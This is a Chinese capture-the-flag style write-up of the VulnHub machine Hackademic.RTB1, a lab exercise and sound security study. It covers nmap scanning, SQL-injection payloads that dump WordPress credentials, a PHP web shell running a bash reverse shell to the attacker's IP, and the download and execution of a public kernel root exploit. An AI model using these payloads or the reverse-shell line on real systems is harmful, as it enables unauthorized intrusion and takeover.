当前位置： 首页 > article >正文

[vulnhub] Hackademic.RTB1

article 2024/11/15 18:55:35

第一次打靶机，思路看的红队笔记

https://www.vulnhub.com/entry/hackademic-rtb1,17/

环境：kali Linux - 192.168.75.131，靶机 - 192.168.75.132

主机发现和端口扫描

  1. 扫描整个网络有哪台机子在线，不进行端口扫描

    nmap -sP 192.168.75.0/24 

    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-19 09:41 CST
Nmap scan report for 192.168.75.1
Host is up (0.00027s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.75.2
Host is up (0.00018s latency).
MAC Address: 00:50:56:FB:CA:45 (VMware)
Nmap scan report for 192.168.75.132
Host is up (0.00039s latency).
MAC Address: 00:0C:29:B7:EB:D3 (VMware)
Nmap scan report for 192.168.75.254
Host is up (0.00058s latency).
MAC Address: 00:50:56:F8:B3:1A (VMware)
Nmap scan report for 192.168.75.131
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.01 seconds

    因为靶机是我最后添加的，所以基本可以锁定是132

  2. 执行快速扫描全端口

    nmap -sT -min-rate 10000 -p- 192.168.75.132

    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-19 09:44 CST
Nmap scan report for 192.168.75.132
Host is up (0.0014s latency).
Not shown: 65514 filtered tcp ports (no-response), 19 filtered tcp ports (host-unreach)
PORT   STATE  SERVICE
22/tcp closed ssh
80/tcp open   http
MAC Address: 00:0C:29:B7:EB:D3 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.60 seconds

    扫描出两个端口22和80，不过因为22是关闭的所以没什么用处，剩下一个80端口

  3. 针对地址使用TCP扫描，探测端口22和80上的服务版本以及操作系统

    nmap -sV -sT -O -p22,80 192.168.75.132     

    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-19 09:49 CST
Nmap scan report for 192.168.75.132
Host is up (0.00076s latency).

PORT   STATE  SERVICE VERSION
22/tcp closed ssh
80/tcp open   http    Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:B7:EB:D3 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.22 - 2.6.36
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.57 seconds

    探测到是服务器是Apache2.2.15系统是红帽Dedora

  4. 扫描UDP端口

    nmap -sU -min-rate 10000 -p- 192.168.75.132

    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-19 09:53 CST
Warning: 192.168.75.132 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.75.132
Host is up (0.00094s latency).
All 65535 scanned ports on 192.168.75.132 are in ignored states.
Not shown: 65457 open|filtered udp ports (no-response), 78 filtered udp ports (host-prohibited)
MAC Address: 00:0C:29:B7:EB:D3 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 72.94 seconds

    没有UDP端口打开

  5. 漏洞扫描

    nmap -script=vuln -p 22,80 192.168.75.132

    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-19 09:56 CST
Nmap scan report for 192.168.75.132
Host is up (0.00085s latency).

PORT   STATE  SERVICE
22/tcp closed ssh
80/tcp open   http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-vuln-cve2011-3192: 
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  CVE:CVE-2011-3192  BID:49303
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       https://www.securityfocus.com/bid/49303
|       https://seclists.org/fulldisclosure/2011/Aug/175
|       https://www.tenable.com/plugins/nessus/55976
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
MAC Address: 00:0C:29:B7:EB:D3 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 145.51 seconds

    找到个有趣的文件夹 /icons/ ，并且该靶机容易遭受DDos ，不过对我们没有帮助

渗透阶段

  1. 访问主机web服务

    在这里插入图片描述

    点击target目标得到信息，就是然我们获得root权限，然后读取key.txt

    Got root?!
Friday, January 7, 2011 | 4:08 am

This is the first Realistic Hackademic Challenge (root this box).
Have you got the skills to exploit this box and to take root?

Goal:
Gain access to the (HackademicRTB1) box and read the “Key.txt” file in the root directory.

  2. 发现，点击页面的Get root链接后的url是这样的

    http://192.168.75.132/Hackademic_RTB1/?p=9

    以及下方 Uncategorized 的链接

    http://192.168.75.132/Hackademic_RTB1/?cat=1

    ?p 以及?cat很可能存在sql注入漏洞

  3. 尝试一下sql注入和文件包含

    p参数无任何回显，应该不存在sql注入和文件包含

    cat输入1' ,发现页面回显有问题，把sql语句爆了出来，SELECT * FROM wp_categories WHERE cat_ID = 1\\\' LIMIT 1 ，并且可以看到表是wp_categories

    在这里插入图片描述

  4. 尝试注入，手工

    // 存在注入点
http://192.168.75.132/Hackademic_RTB1/?cat=1 and 1=2
// 表的列数有五列
http://192.168.75.132/Hackademic_RTB1/?cat=1 order by 5
// 爆回显位，页面回显位是第二位
http://192.168.75.132/Hackademic_RTB1/?cat=0 union select 1,2,3,4,5
// 爆库，页面回显 wordpress ，表示库名是wordpress 
http://192.168.75.132/Hackademic_RTB1/?cat=0 union select 1,database(),3,4,5

  5. 发现库名是wordpress ，猜测CMS是wordpress ，我们寻找一下看看有没有有用的信息

    在这里插入图片描述

    发现确实是wordpress并且版本是1.5.11

  6. 为了方便注入，我们到网上查找wordpress的表结构

    https://codex.wordpress.org/Database_Description

    值得我们关注的是 **wp_users**表

    user_login，user_pass，user_level 中的三个字段

  7. 接着注入

    获取表的user_login，user_pass，user_level 中的三个字段，并以-为分隔符

    http://192.168.75.132/Hackademic_RTB1/?cat=0 union select 1,group_concat(user_login,0x2d,user_pass,0x2d,user_level),3,4,5 from wp_users

    得到数据：

    NickJames-21232f297a57a5a743894a0e4a801fc3-1,
JohnSmith-b986448f0bb9e5e124ca91d3d650f52c-0,
GeorgeMiller-7cbb3252ba6b7e9c422fac5334d22054-10,
TonyBlack-a6e514f9486b83cb53d8d932f9a04292-0,
JasonKonnors-8601f6e1028a8e8a966f6c33fcd9aec4-0,
MaxBucky-50484c19f1afdaf3841a0d821ed393d2-0

    可以发现GeorgeMiller 的权限是10是最大的，密码格式看着像是md5，我们拿到cmd5破解

    查询结果：q1w2e3

  8. 我们找到后台，使用GeorgeMiller 登陆进去

    后台地址是 ： http://192.168.75.132/Hackademic_RTB1/wp-login.php

    登陆成功！

登录后台上传shell

登陆后台后，wordpress我们一般要做的是打开文件上传功能，并且上传getshell

  1. 开启文件上传功能，并且添加php后缀

    在这里插入图片描述

  2. 上传getshell.php

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    文件内容是：

    // getshell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.75.131/1234 0>&1'"); ?>

    上传成功,并且返回路径 /Hackademic_RTB1/wp-content/getshell.php

  3. 反弹shell

    首先Kali先开启监听，监听1234端口

    nc -lvp 1234                             
listening on [any] 1234 ...

    再访问/Hackademic_RTB1/wp-content/getshell.php

    最后查看kali，发现反弹shell成功

    istening on [any] 1234 ...
192.168.75.132: inverse host lookup failed: Unknown host
connect to [192.168.75.131] from (UNKNOWN) [192.168.75.132] 49339
bash: no job control in this shell
bash-4.0$ ls
ls
getshell.php
getshell_01.php
plugins
themes
bash-4.0$

提权

  1. 先用python增强shell的交互性

    // 靶机shell
python -c "import pty;pty.spawn('/bin/bash')"

  2. 查看shell权限

    // 靶机shell
bash-4.0$ whoami
apache

bash-4.0$ dpkg -l
bash: dpkg: command not found

bash-4.0$ sudo -l
sudo: sorry, you must have a tty to run sudo

bash-4.0$ uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

    用户是apache ，dpkg和 sudo 无法使用，内核版本是2.6.31.5 ，权限是比较低的

  3. 因为ssh是关闭的，所以我们找密码也没有用处，看到内核版本比较老，可以尝试一下搜索内核漏洞，但是内核版本不太太详细，否则或错过一些好使的漏洞，并且过滤 “Privilege Escalation” - 权限提升

    searchsploit Linux Kernel 2.6 | grep "Privilege Escalation"

    Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation | solaris/local/15962.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation  | linux/local/160.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3)      | linux/local/895.c
Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation (3)   | linux/local/9641.txt
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)     | linux/local/33321.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation      | linux/local/40812.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation | linux/local/2004.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation | linux/local/2005.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation | linux/local/2006.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation | linux/local/2011.sh
Linux Kernel 2.6.17 - 'Sys_Tee' Local Privilege Escalation                | linux/local/29714.txt
Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2 | linux/local/5092.c
Linux Kernel 2.6.17.4 - 'proc' Local Privilege Escalation                 | linux/local/2013.c
Linux Kernel 2.6.18 < 2.6.18-20 - Local Privilege Escalation              | linux/local/10613.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation         | linux/local/50135.c
Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)  | linux/local/5093.c
Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation    | linux/local/17391.c
Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)             | linux/local/10018.sh
Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation       | linux/local/15285.c
Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)              | linux/local/33322.c
Linux Kernel 2.6.x - Ext4 'move extents' ioctl Privilege Escalation       | linux/local/33395.txt
Linux Kernel 2.6.x - Ptrace Privilege Escalation                          | linux/local/30604.c
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation                | linux/local/41886.c
Linux Kernel < 2.6.11.5 - BlueTooth Stack Privilege Escalation            | linux/local/4756.c
Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation | linux/local/6851.c
Linux Kernel < 2.6.28 - 'fasync_helper()' Local Privilege Escalation      | linux/local/33523.c
Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation        | linux/local/8369.sh
Linux Kernel < 3.16.1 - 'Remount FUSE' Local Privilege Escalation         | linux/local/34923.c
Linux Kernel < 3.4.5 (Android 4.2.2/4.4 ARM) - Local Privilege Escalation | arm/local/31574.c
Linux kernel < 4.10.15 - Race Condition Privilege Escalation              | linux/local/43345.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation    | linux/local/44298.c

    可以尝试一下这两个

    Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation       | linux/local/15285.c
Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)              | linux/local/33322.c

  4. 在kali使用 searchsploit -m <name> 拉取下来,并且使用php -S 0:80 再当前目录创建web服务器（方便靶机下载）

    earchsploit -m 15285.c
earchsploit -m 33322.c
php -S 0:80

  5. 使用靶机的shell下载拉取下来的payload

    // 靶机shell
bash-4.0$ wget 192.168.75.131/33322.c // 重复操作

--2024-09-19 04:51:42--  http://192.168.75.131/33322.c
Connecting to 192.168.75.131:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4517 (4.4K) [text/x-c]
Saving to: `33322.c'

     0K ....                                                  100% 5.94M=0.001s

2024-09-19 04:51:42 (5.94 MB/s) - `33322.c' saved [4517/4517]

  6. 我自己尝试了33322.c不成功，所以再尝试15285.c

    // 靶机shell
gcc 15285.c -o 15285 // 编译

./15285 //运行


    [*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc0aa19ac
 [+] Resolved default_security_ops to 0xc0955c6c
 [+] Resolved cap_ptrace_traceme to 0xc055d9d7
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc0aa19ac
 [+] Resolved default_security_ops to 0xc0955c6c
 [+] Resolved cap_ptrace_traceme to 0xc055d9d7
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc0aa19ac
 [+] Resolved default_security_ops to 0xc0955c6c
 [+] Resolved cap_ptrace_traceme to 0xc055d9d7
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...

  7. 一长串操作后，我们输入whoami尝试，提权成功！

    // 靶机shell
whoami
root

  8. 寻找之前说的key.txt ，flag可能就住在里面

    // 靶机shell
cd root // 发现root文件夹下存在key.txt
cat key.txt // 读取

    $_d&jgQ>>ak\#b"(Hx"o<la_% 可能就是flag

    Yeah!!
You must be proud because you 've got the password to complete the First *Realistic* Hackademic Challenge (Hackademic.RTB1) :)

$_d&jgQ>>ak\#b"(Hx"o<la_%

Regards,
mr.pr0n || p0wnbox.Team || 2011
http://p0wnbox.com

http://www.kler.cn/a/318296.html

相关文章：

  • 《Python Web 抓取实战：豆瓣电影 Top 250 数据抓取与分析》
  • 随机数
  • 前缀和技巧解析
  • 树莓派（Raspberry Pi）Pico 2 C_C++开发环境配置（Docker+SDK）
  • 开源项目推荐——OpenDroneMap无人机影像数据处理
  • 批量重命名Excel文件并排序
  • 信息安全工程师（11）网络信息安全科技信息获取
  • 前端vue-作用域插槽的传值，子传父，父用obj对象接收
  • 服务设计原则介绍
  • html+css（交河故城css）
  • Python基于flask框架的智能停车场车位系统 数据可视化分析系统fyfc81
  • 【Windows 同时安装 MySQL5 和 MySQL8 - 详细图文教程】
  • Android15之源码分支qpr、dp、beta、r1含义(二百三十二)
  • 深度学习01-概述
  • JS 特殊运算符有哪些？
  • YOLOv8——测量高速公路上汽车的速度
  • Python一分钟：装饰器
  • 【Linux探索学习】第一弹——Linux的基本指令（上）——开启Linux学习第一篇
  • SpringCloud微服务消息驱动的实践指南
  • 环境部署-环境变量
  • LeetCode - 2207. 字符串中最多数目的子序列
  • 【推文制作】秀米简明教程 1.0
  • Rolling Update
  • 一文说透RTMP、RTSP、RTP、HLS、MPEG-DASH
  • Gateway--服务网关
  • 如何把pdf转换成word文档？6种转换方法看完就学会